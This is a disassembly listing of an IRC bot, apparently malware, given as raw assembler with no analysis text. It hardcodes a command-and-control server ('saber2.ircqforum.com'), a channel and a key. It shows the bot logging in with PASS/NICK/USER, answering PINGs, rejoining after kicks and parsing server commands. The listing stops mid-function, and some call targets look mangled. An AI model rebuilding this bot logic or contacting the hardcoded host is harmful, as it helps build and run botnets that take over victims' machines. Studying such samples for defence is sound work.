		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43F738, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx


loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_43511C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5A
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_444340
		call	sub_417330
		call	sub_41730A
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		mov	dword_489DD0, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_489CDC
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_489D1C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_489DB0, ebx


loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx


loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43F750, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43F5AC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------


loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_489C58
		mov	dword_489DCC, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_489DCC, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]


loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h


loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		call	near ptr 260048Fh
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F654, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F654
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F23


loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43F5C8


loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43F668
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_489DC0
		push	dword_42F5CC
		push	eax
		call	sub_415CFF
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4450D8
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4450CC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43F700
		call	sub_40ADF3
		push	7D0h


loc_40EC72:				; CODE XREF: sub_40EB92+146j
		call	near ptr 260048Fh
		nop
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_435150
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43F700
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------


loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------


loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417076
		pop	ecx
		push	2
		pop	eax


loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_489DC8, bl
		jz	short loc_40ED3F
		push	offset byte_489DC8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch


loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415CFF
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43F700
		push	1388h
		nop
		call	near ptr 260048Fh


loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax


loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]


loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi


loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		nop
		call	near ptr 260048Fh
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------


loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------


loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------


loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2


loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_4387B8 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93


loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi


loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_4387B4 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h


loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------


loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D1
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D1
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------


loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_489DC0
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415CFF
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch


loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1


loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h


loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F236:				; CODE XREF: sub_40EE72+57D6j
					; sub_40EE72+57F3j ...
		add	esp, 10h


loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1


loc_40F23B:				; CODE XREF: sub_40EE72+5CE9j
		pop	eax


loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h


loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C


loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0


loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E


loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE


loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
